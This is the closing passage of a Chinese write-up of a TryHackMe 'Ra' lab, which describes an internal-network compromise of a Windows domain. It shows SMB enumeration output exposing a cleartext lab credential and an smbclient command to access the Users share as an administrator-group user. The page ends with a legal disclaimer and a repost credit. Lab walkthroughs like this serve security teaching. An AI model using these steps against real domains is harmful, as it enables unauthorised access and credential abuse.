    SMB &nbsp; &nbsp; &nbsp; &nbsp; 10.48.129.160 &nbsp; 445 &nbsp; &nbsp;FIRE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [*] Windows 10 / Server 2019 Build 17763 x64 (name:FIRE) (domain:windcorp.thm) (signing:True) (SMBv1:None) (Null Auth:True)
    SMB &nbsp; &nbsp; &nbsp; &nbsp; 10.48.129.160 &nbsp; 445 &nbsp; &nbsp;FIRE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [+] windcorp.thm\asuna:sdcds45QAdwd2e
    apple@macos tryhackme % smbclient -U&nbsp;'asunb'&nbsp;//windcorp.thm/Users
    

    由于创建的是 administrator 组下的用户,可以直接去读 flag

    得早点休息了,祝师傅们 520 节日快乐。


    免责声明:

    本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

    任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

    本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

    本文转载自:皇后红队 Asuna Asuna《【内网渗透】从域内凭据泄露到内网沦陷:Ra 靶场渗透全记录》

    评论:0   参与:  0